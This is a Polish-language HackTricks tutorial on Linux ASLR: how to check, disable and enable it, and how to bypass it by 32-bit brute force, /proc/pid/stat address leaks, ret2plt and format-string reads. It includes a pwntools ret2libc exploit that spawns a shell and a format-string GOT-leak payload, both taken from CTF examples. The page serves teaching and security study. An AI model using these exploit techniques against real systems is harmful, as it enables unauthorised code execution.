hacktricks/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr
2024-04-02 19:48:01 +00:00
..
README.md Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'reversin 2024-04-02 19:48:01 +00:00
ret2plt.md Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'reversin 2024-04-02 19:48:01 +00:00

ASLR

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podstawowe informacje

Randomizacja układu przestrzeni adresowej (ASLR) to technika bezpieczeństwa stosowana w systemach operacyjnych do losowego rozmieszczania adresów pamięci używanych przez procesy systemowe i aplikacje. Dzięki temu znacznie trudniej dla atakującego przewidzieć lokalizację konkretnych procesów i danych, takich jak stos, sterta i biblioteki, co zmniejsza ryzyko pewnych rodzajów ataków, zwłaszcza przepełnień bufora.

Sprawdzanie stanu ASLR

Aby sprawdzić stan ASLR w systemie Linux, można odczytać wartość z pliku /proc/sys/kernel/randomize_va_space. Wartość przechowywana w tym pliku określa rodzaj zastosowanej randomizacji ASLR:

  • 0: Brak randomizacji. Wszystko jest statyczne.
  • 1: Konserwatywna randomizacja. Biblioteki współdzielone, stos, mmap(), strona VDSO są randomizowane.
  • 2: Pełna randomizacja. Oprócz elementów randomizowanych przez konserwatywną randomizację, pamięć zarządzana przez brk() jest randomizowana.

Możesz sprawdzić stan ASLR za pomocą następującej komendy:

cat /proc/sys/kernel/randomize_va_space

Wyłączanie ASLR

Aby wyłączyć ASLR, ustaw wartość /proc/sys/kernel/randomize_va_space na 0. Wyłączenie ASLR zazwyczaj nie jest zalecane poza sytuacjami testowymi lub debugowania. Oto jak to zrobić:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Możesz również wyłączyć ASLR dla wykonania za pomocą:

setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args

Włączanie ASLR

Aby włączyć ASLR, można zapisać wartość 2 do pliku /proc/sys/kernel/randomize_va_space. Zazwyczaj wymaga to uprawnień roota. Pełna losowość może być osiągnięta za pomocą następującej komendy:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

Trwałość po ponownym uruchomieniu

Zmiany dokonane za pomocą poleceń echo są tymczasowe i zostaną zresetowane po ponownym uruchomieniu. Aby sprawić, że zmiana będzie trwała, musisz edytować plik /etc/sysctl.conf i dodać lub zmodyfikować następującą linię:

kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR

Po edycji /etc/sysctl.conf, zastosuj zmiany za pomocą:

sudo sysctl -p

To zapewni, że ustawienia ASLR pozostaną po ponownym uruchomieniu.

Bypasses

Brutalne narzucanie 32-bitowe

PaX dzieli przestrzeń adresową procesu na 3 grupy:

  • Kod i dane (zainicjowane i niezainicjowane): .text, .data i .bss —> 16 bitów entropii w zmiennej delta_exec. Ta zmienna jest losowo inicjowana przy każdym procesie i dodawana do adresów początkowych.
  • Pamięć przydzielana przez mmap() i biblioteki współdzielone —> 16 bitów, nazwana delta_mmap.
  • Stos —> 24 bity, oznaczane jako delta_stack. Jednakże, faktycznie używa 11 bitów (od 10. do 20. bajtu włącznie), wyrównanych do 16 bajtów —> To daje 524,288 możliwych rzeczywistych adresów stosu.

Powyzsze dane dotyczą systemów 32-bitowych, a zmniejszona końcowa entropia pozwala na ominięcie ASLR poprzez wielokrotne próby wykonania, aż atak się powiedzie.

Pomysły na brutalne narzucanie:

  • Jeśli masz wystarczająco dużo miejsca na przepełnienie, aby pomieścić duży ślizg NOP przed kodem powłoki, możesz po prostu brutalnie narzucić adresy na stosie, aż przepływ przeskoczy nad częścią ślizgu NOP.
  • Inną opcją w przypadku, gdy przepełnienie nie jest tak duże, a atak może być uruchomiony lokalnie, jest możliwość dodania ślizgu NOP i kodu powłoki do zmiennej środowiskowej.
  • Jeśli atak jest lokalny, możesz spróbować brutalnie narzucić bazowy adres libc (przydatne dla systemów 32-bitowych):
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Jeśli atakujesz zdalny serwer, możesz spróbować przeprowadzić atak siłowy na adres funkcji usleep z biblioteki libc, przekazując jako argument 10 (na przykład). Jeśli w pewnym momencie serwer potrzebuje dodatkowych 10 sekund na odpowiedź, znalazłeś adres tej funkcji.

{% hint style="success" %} W systemach 64-bitowych entropia jest znacznie wyższa i to nie jest możliwe. {% endhint %}

Lokalne informacje (/proc/[pid]/stat)

Plik /proc/[pid]/stat procesu jest zawsze czytelny dla wszystkich i zawiera interesujące informacje, takie jak:

  • startcode & endcode: Adresy powyżej i poniżej z TEKSTU binarnego
  • startstack: Adres początku stosu
  • start_data & end_data: Adresy powyżej i poniżej, gdzie znajduje się BSS
  • kstkesp & kstkeip: Aktualne adresy ESP i EIP
  • arg_start & arg_end: Adresy powyżej i poniżej, gdzie znajdują się argumenty wiersza poleceń
  • env_start & env_end: Adresy powyżej i poniżej, gdzie znajdują się zmienne środowiskowe

Dlatego jeśli atakujący znajduje się w tym samym komputerze co eksploatowany binarny plik i ten binarny plik nie oczekuje przepełnienia z surowych argumentów, ale z innego wejścia, które można stworzyć po odczytaniu tego pliku. Dla atakującego jest możliwe uzyskanie pewnych adresów z tego pliku i skonstruowanie przesunięć z nich dla eksploatacji.

{% hint style="success" %} Aby uzyskać więcej informacji na temat tego pliku, sprawdź https://man7.org/linux/man-pages/man5/proc.5.html szukając /proc/pid/stat {% endhint %}

Posiadanie wycieku

  • Wyzwaniem jest dostarczenie wycieku

Jeśli otrzymasz wyciek (łatwe wyzwania CTF), możesz obliczyć przesunięcia z niego (przyjmując na przykład, że znasz dokładną wersję biblioteki libc, która jest używana w systemie, który eksploatujesz). Ten przykładowy exploit jest wyodrębniony z przykładu stąd (sprawdź tę stronę po więcej szczegółów):

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
0x0,        # return address
next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()
  • ret2plt

Wykorzystując przepełnienie bufora można wykorzystać ret2plt do wycieku adresu funkcji z biblioteki libc. Sprawdź:

{% content-ref url="ret2plt.md" %} ret2plt.md {% endcontent-ref %}

  • Format Strings Arbitrary Read

Podobnie jak w przypadku ret2plt, jeśli masz arbitralne odczytywanie za pomocą podatności na łańcuchy formatujące, można wyciekać adres funkcji z biblioteki libc z GOT. Poniższy przykład pochodzi stąd:

payload = p32(elf.got['puts'])  # p64() if 64-bit
payload += b'|'
payload += b'%3$s'              # The third parameter points at the start of the buffer

# this part is only relevant if you need to call the main function again

payload = payload.ljust(40, b'A')   # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])

Możesz znaleźć więcej informacji na temat arbitralnego odczytu łańcuchów formatujących w:

{% content-ref url="../../format-strings/" %} format-strings {% endcontent-ref %}

Ret2ret & Ret2pop

Spróbuj ominąć ASLR nadużywając adresów znajdujących się na stosie:

{% content-ref url="../../stack-overflow/ret2ret.md" %} ret2ret.md {% endcontent-ref %}

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: